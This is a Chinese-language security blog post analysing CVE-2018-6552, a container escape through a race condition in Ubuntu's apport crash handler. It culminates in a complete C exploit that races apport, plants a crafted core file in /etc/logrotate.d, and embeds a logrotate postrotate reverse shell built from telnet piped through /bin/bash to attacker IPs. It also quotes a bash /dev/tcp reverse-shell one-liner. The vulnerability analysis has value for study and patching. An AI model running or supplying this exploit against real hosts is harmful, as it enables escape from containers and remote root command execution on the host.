Docker CVE-2018-6552

阅读量    109666 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

cve-2018-6552

这个漏洞网上还没有分析文章,exp也没有公开,唯一的参考就是长亭在滴滴安全大会的PPT,但是因为没有对应视频,PPT上的信息比较简略,单看PPT其实不太管用,等完成利用之后才发现其实PPT里面有一些细节没发现,不过对于利用细节不清楚的我当时来说PPT细节也看不出来就是了。

 

首先看看漏洞描述

我们借此可以了解到大概成因,以及影响的版本,看下diff文件

这是个条件竞争的洞,看diff可以看到差别就是多出了对the is_same_ns() function fails open (returning True) 的处理,也就是说,之前未修复漏洞时,在is_same_as()函数open失败时是不会引发将local pid更换为global pid的操作的,也就是说,我们可以通过特殊方法使其不走以上任何一个分支,继续往下走。

 

源码分析

贴上is_same_as的源码,以及更改前后版本的漏洞处源码

def is_same_ns(pid, ns):
if not os.path.exists('/proc/self/ns/%s' % ns) or \
not os.path.exists('/proc/%s/ns/%s' % (pid, ns)):
# If the namespace doesn't exist, then it's obviously shared
return True

try:
if os.readlink('/proc/%s/ns/%s' % (pid, ns)) == os.readlink('/proc/self/ns/%s' % ns):
# Check that the inode for both namespaces is the same
return True
except OSError as e:
if e.errno == errno.ENOENT:
return True
else:
raise

return False

未修复的源码

# Check if we received a valid global PID (kernel >= 3.12). If we do,
# then compare it with the local PID. If they don't match, it's an
# indication that the crash originated from another PID namespace.
# Simply log an entry in the host error log and exit 0.
if len(sys.argv) == 6:
host_pid = int(sys.argv[5])

if not is_same_ns(host_pid, "pid") and not is_same_ns(host_pid, "mnt"):
# If the crash came from a container, don't attempt to handle
# locally as that would just result in wrong system information.

# Instead, attempt to find apport inside the container and
# forward the process information there.
if not os.path.exists('/proc/%d/root/run/apport.socket' % host_pid):
error_log('host pid %s crashed in a container without apport support' %
sys.argv[5])
sys.exit(0)
[ ... ]

sys.exit(0)
elif not is_same_ns(host_pid, "pid") and is_same_ns(host_pid, "mnt"): #这里
# If it doesn't look like the crash originated from within a
# full container, then take the global pid and replace the local
# pid with it, then move on to normal handling.

# This bit is needed because some software like the chrome
# sandbox will use container namespaces as a security measure but are
# still otherwise host processes. When that's the case, we need to keep
# handling those crashes locally using the global pid.
sys.argv[1] = str(host_pid)
elif not is_same_ns(host_pid, "mnt"):
error_log('host pid %s crashed in a separate mount namespace, ignoring' % host_pid)
sys.exit(0)

修复之后的源码

elif not is_same_ns(host_pid, "mnt"):
error_log('host pid %s crashed in a separate mount namespace, ignoring' % host_pid)
sys.exit(0)
else:
# If it doesn't look like the crash originated from within a
# full container or if the is_same_ns() function fails open (returning
# True), then take the global pid and replace the local pid with it,
# then move on to normal handling.

# This bit is needed because some software like the chrome
# sandbox will use container namespaces as a security measure but are
# still otherwise host processes. When that's the case, we need to keep
# handling those crashes locally using the global pid.
sys.argv[1] = str(host_pid)

apport的源码可以在这里下载,是2.20.9的,

根据cve信息的提示,我们追踪源码

可以看到更改过的pid会进入get_pid_info中,贴上源码

def get_pid_info(pid):
'''Read /proc information about pid'''

global pidstat, real_uid, real_gid, cwd

# unhandled exceptions on missing or invalidly formatted files are okay
# here -- we want to know in the log file
pidstat = os.stat('/proc/%s/stat' % pid)

# determine real UID of the target process; do *not* use the owner of
# /proc/pid/stat, as that will be root for setuid or unreadable programs!
# (this matters when suid_dumpable is enabled)
with open('/proc/%s/status' % pid) as f:
for line in f:
if line.startswith('Uid:'):
real_uid = int(line.split()[1])
elif line.startswith('Gid:'):
real_gid = int(line.split()[1])
break
assert real_uid is not None, 'failed to parse Uid'
assert real_gid is not None, 'failed to parse Gid'

cwd = os.readlink('/proc/' + pid + '/cwd')

声明一些全局变量然后给cwd赋值,os.readlink()是返回软连接路径,往后看可以知道这是用来生成core文件的路径,之后我们直接看生成core的部分

我选择信号SIGQUIT是因为这里比较靠前,而且基本不涉及什么检测

def write_user_coredump(pid, cwd, limit, from_report=None):
'''Write the core into the current directory if ulimit requests it.'''

# three cases:
# limit == 0: do not write anything
# limit < 0: unlimited, write out everything
# limit nonzero: crashed process' core size ulimit in bytes

if limit == 0:
return

# don't write a core dump for suid/sgid/unreadable or otherwise
# protected executables, in accordance with core(5)
# (suid_dumpable==2 and core_pattern restrictions); when this happens,
# /proc/pid/stat is owned by root (or the user suid'ed to), but we already
# changed to the crashed process' real uid
assert pidstat, 'pidstat not initialized'
if pidstat.st_uid != os.getuid() or pidstat.st_gid != os.getgid():
error_log('disabling core dump for suid/sgid/unreadable executable')
return

core_path = os.path.join(cwd, 'core')
try:
with open('/proc/sys/kernel/core_uses_pid') as f:
if f.read().strip() != '0':
core_path += '.' + str(pid)
core_file = os.open(core_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
except (OSError, IOError):
return

error_log('writing core dump to %s (limit: %s)' % (core_path, str(limit)))

written = 0

# Priming read
if from_report:
r = apport.Report()
r.load(from_report)
core_size = len(r['CoreDump'])
if limit > 0 and core_size > limit:
error_log('aborting core dump writing, size %i exceeds current limit' % core_size)
os.close(core_file)
os.unlink(core_path)
return
error_log('writing core dump %s of size %i' % (core_path, core_size))
os.write(core_file, r['CoreDump'])
else:
# read from stdin
block = os.read(0, 1048576)

while True:
size = len(block)
if size == 0:
break
written += size
if limit > 0 and written > limit:
error_log('aborting core dump writing, size exceeds current limit %i' % limit)
os.close(core_file)
os.unlink(core_path)
return
if os.write(core_file, block) != size:
error_log('aborting core dump writing, could not write')
os.close(core_file)
os.unlink(core_path)
return
block = os.read(0, 1048576)

os.close(core_file)
return core_path

 

前置知识

apport是ubuntu的一个负责处理程序崩溃信息的程序,用python编写,具体的可以看下维基百科,然后我说一下一些配置文件

/proc/sys/kernel/core_pattern

在你们的机子上看到的可能和我的不太一样,我的是改过的,这是为了适配当前环境,等配环境时会说,这个文件主要是决定生成的core命名方式如何,以及从内核的coredump.c传过来的参数有哪些。

如果直接运行会显示需要哪些参数,对应我们前面看到的那些个%,一般情况下coredump.c传来的参数都是正好对应的,但是由于我们需要把原本的物理机上的apport换成这个有漏洞的版本,所以我们需要认为干预一下

/proc/sys/kernel/core_uses_pid

同样的这个应该也不同,为1代表生成的core文件带.pid,为0就不带,有同样功能的还有core_pattern里的参数,不过这里的优先级更高

/proc/sys/kernel/pid_max

这个文件里的值代表目前内核支持的最大pid,也就是pid最大就为这个数,那么超过这个数后就会从一个二位数重新记,形成一圈循环,由于低位的pid一般都是系统级别的进程,所以pid从头开始是会绕过那些pid,不会从0或1重记,那样太危险了。同样的这个数据是可以更改的,可以改小一点,这样更容易回卷。

然后就是,logrotate的知识,这个等会用到了再讲,现在配环境。

我用的是ubuntu18.04,打开本地的apport发现和上面讲的漏洞版本差别还是挺大的,所以,我直接把整个apport文件给换了。在我本地这样搞的问题就是程序不运行了。我记不得当时有没有改过core_pattern了,也许读者在复现时可以直接运行。关于py的调试问题我是选择的通过打日志来分析的,通过日志分析发现是入参多了一个。

说到打日志我要说下源码中的日志操作

def init_error_log():
'''Open a suitable error log if sys.stderr is not a tty.'''

if not os.isatty(2):
log = os.environ.get('APPORT_LOG_FILE', '/var/log/apport.log')
try:
f = os.open(log, os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)
try:
admgid = grp.getgrnam('adm')[2]
os.chown(log, -1, admgid)
os.chmod(log, 0o640)
except KeyError:
pass # if group adm doesn't exist, just leave it as root
except OSError: # on a permission error, don't touch stderr
return
os.dup2(f, 1)
os.dup2(f, 2)
sys.stderr = os.fdopen(2, 'wb')
if sys.version_info.major >= 3:
sys.stderr = io.TextIOWrapper(sys.stderr)
sys.stdout = sys.stderr


def error_log(msg):
'''Output something to the error log.'''

apport.error('apport (pid %s) %s: %s', os.getpid(), time.asctime(), msg)

首先初始化,然后每次要往日志内输入的内容通过error_log(str)输入,由于apport中日志初始化不是在第一行,所以我稍微改了一下,开头初始化,然后再运行就发现报错地方在这里

所以把sys.argv打出来,以及长度,然后根据我自己情况是长度为7,然后发现是多了一个没用的%E,删去之后就成了之前显示的|/usr/share/apport/apport %p %s %c %d %P

这是我根据入参设置的,也许和你们默认的一样……

所以现在环境就相当于配置完了,如果你有docker的话,见过的最好配环境的洞了,docker的安装我就不说了

 

逃逸第一步

我先说逃逸的思路,前面说了,只要那里的任何一个分支不走就可以以docker里的namespace的pid出现在物理机中,这时候要克服的一个问题就是,在get_pid_info 中会访问对应pid的一些文件,而如果在物理机中没有这个pid的话,那么对应的文件也就不存在,会报错,我们需要让物理机上存在这么一个pid的进程,这样才能生成core,而且这个core还是在物理机中这个pid的进程所在的文件夹。

说起来可能有点绕,我解释一下,cwd = os.readlink('/proc/' + pid + '/cwd')拿这句话来说

可以看到对应的就是运行程序对应的路径

所以我们docker里的一个进程pid假如是6552,那么其逃逸到物理机上时对应的进程就会是图上的进程,生成core的路径也会是这个进程的路径,那么现在的问题有两个

  1. 怎么使得程序绕过apport中那两个判断,从而两个分支一个都不走呢
  2. 怎么使得docker里的pid出来后正好有个物理机的pid对应上呢

 

解决第一个问题

第一个问题我们可以利用条件竞争,先看源码

我们如果让第一个返回True,以及下个elif也返回True,就可绕过,返回True的情况有

def is_same_ns(pid, ns):
if not os.path.exists('/proc/self/ns/%s' % ns) or \
not os.path.exists('/proc/%s/ns/%s' % (pid, ns)):
# If the namespace doesn't exist, then it's obviously shared
return True #=======================这里

try:
if os.readlink('/proc/%s/ns/%s' % (pid, ns)) == os.readlink('/proc/self/ns/%s' % ns):
# Check that the inode for both namespaces is the same
return True #=====================这里
except OSError as e:
if e.errno == errno.ENOENT:
return True #======================这里
else:
raise

return False

我们要利用的情况是第一种,如何让第一个return返回true呢,我们只要在apport运行到这里之前,把对应的pid kill掉就可以

int pid = fork();
if (pid) {
/* kill the child process, after it stimulate the core dump */
usleep(2000);
kill(pid, SIGKILL);
}
else {
/* must stimulate the raise before kill */
raise(SIGQUIT); //to make core
}

 

解决第二个问题

我们可以通过大量的fork来制造进程,并waite,来占位,占pid。另外这里有一点需要强调,在docker里面每个进程都有一个物理机中对应的pid,也就是说其有两个pid,那么物理机中的那个pid对应的路径其实和docker里的那个路径一样,所以我们可以通过控制docker内进程的路径来控制core的生成路径。

通过以上步骤我们很简单就可以使得一个docker里的崩溃进程生成的core出现在物理机中。

在生成core之前我们还要检查一下配置

先输入ulimit -c检查对core文件生成的大小的限制,有可能是0,在限制大小为0时不会生成core,我们需要设置 ulimit -c unlimited

在配置完以上后要想生效还要source /etc/security/limits.conf,其实按网上说法,只要改limits.conf中的配置就能永久生效,不用每次开机都改,但是我实操下来还是要每次开机配置一遍

另外在这过程中我发现一个很奇怪的现象,就是有时那个core会生成在docker中,这点让我觉得很莫名其妙。因为抛开docker中崩溃的程序不会生成core不谈,apport是运行在docker之外的,其生成的core的路径也应该是在docker之外的路径才对,虽然路径看起来一样,但是生成在docker中而物理机中没有就很让我费解。就比如docker内和外都有的路径/etc/logrotate.d/,有时apport生成的core指明路径在/etc/logrotate.d/下,但是发现却是在docker内的这一路径下,还好只是有时。

 

逃逸第二步

我们已经可以使得core逃逸出来了,但是单逃逸出来有什么用呢?我们需要让其执行,而且单执行也没用,其中多是一些程序崩溃前的信息,被保存下来,除非我们可以控制往core中输入的内容,否则直接运行也得不到什么。

其实前辈们早就总结出了一系列针对这一状况的应对措施,那就是linux的crontab,专用于执行定时任务,而其中有个ubuntu的默认定时任务logrotate ,讲解这个的利用可以看这里

看到定时任务,就可以想到触发运行是没问题了,但是运行什么呢?

  1. core保存的是程序崩溃前的信息,同样的,字符串也会被保存下来
  2. logrotate在上面的链接里会讲,他有一些规则文件的运行机制是会忽略文件内的非法字符,只运行其中合法字符

所以我们可以在崩溃程序里把想运行的指令写成字符串形式,然后生成的core中首先会有大量乱码,但是字符串变量会保存的比较完好,我们应当声明其为全局变量,这样他会在data段保存的比较完整,而若是声明为局部变量,保存在栈上中间会夹杂一些乱码,干扰运行。

光是上面说的还不够,我们需要看一下对应的logrotate运行的格式,也就是命令怎么写

相比我不说各位也知道哪里是关键,也就是其中看起来像shell的部分,另外有一点要说明,开头部分的/var/log/cups/*log 是对应文件,也就是这个命令是对这些文件的操作,如果对应文件不存在,命令就不会运行,说到这里logrotate本身的作用其实就是定期清理日志文件,对其进行压缩或别的操作,具体看man logrotate

所以现在exp怎么写应该很清楚了

 

exp

#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
/*/var/log/cups/*log {
daily
missingok
rotate7
sharedscripts
postrotate
telnet 172.17.0.2 1234 | /bin/bash | telnet 192.168.56.246 4321
endscript
}*/
char payload[] = "\n/var/log/cups/*log {\n daily\n missingok\n rotate7\n sharedscripts\n postrotate\n telnet 172.17.0.2 1234 | /bin/bash | telnet 192.168.56.246 4321\n endscript\n}\n";
void fork_bomb(int num)
{
int i;
for(i = 0; i < num; i++){
int pid = fork();
if (pid)
{
wait(NULL);
}
}
}

int main(int argc, char const *argv[])
{
chdir("/etc/logrotate.d");
int i;
for(i = 0; i < 5; i++){
fork_bomb(200);
int pid = fork();
if (pid) {
/* kill the child process, after it stimulate the core dump */
usleep(2000);
kill(pid, SIGKILL);
}
else {
/* must stimulate the raise before kill */
raise(SIGQUIT); //to make core
}
usleep(1000*100);
puts("wait... maybe the core has already been generated :)");
}
return 0;
}

对于其中的telnet 172.17.0.2 1234 | /bin/bash | telnet 192.168.56.246 4321是反向shell,具体的参数含义看这里

在docker中运行exp可以过段时间自己中断,生成core的时机完全看运气,运气好刚运行一会就在物理机对应目录下生成了,运气坏可能要很久,有些core是空的,这是因为kill的太早,我用的两秒不是最佳时间,各位可以自己多次实验找最好时间。

生成core后因为这玩意定时触发,我们等定时那个时间太久了就,所以我们手动触发一下

logrotate -f [filename]

然后别忘了在自己机器上监听对应端口,因为我用的反向shell命令的原因,所以需要俩终端监听,一个是输命令,一个返回命令运行结果,这点在上面链接有讲。之所以搞那么麻烦是因为刚开始用的

bash -i >& /dev/tcp/攻击主机ip/port 0>&1 会报错,所以就找别的将就一下。

 

参考:

《卢宇—Docker逃逸:从一个进程崩溃讲起》(滴滴安全大会ppt)

几种常见反弹shell汇总 :(https://blog.csdn.net/qiuyeyijian/article/details/102993592)

A technical description of CVE-2020-15702 – Flatt Security Blog (hatenablog.com)

https://wiki.ubuntu.com/Apport

欢迎关注星阑科技微信公众号,了解更多安全干货~

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多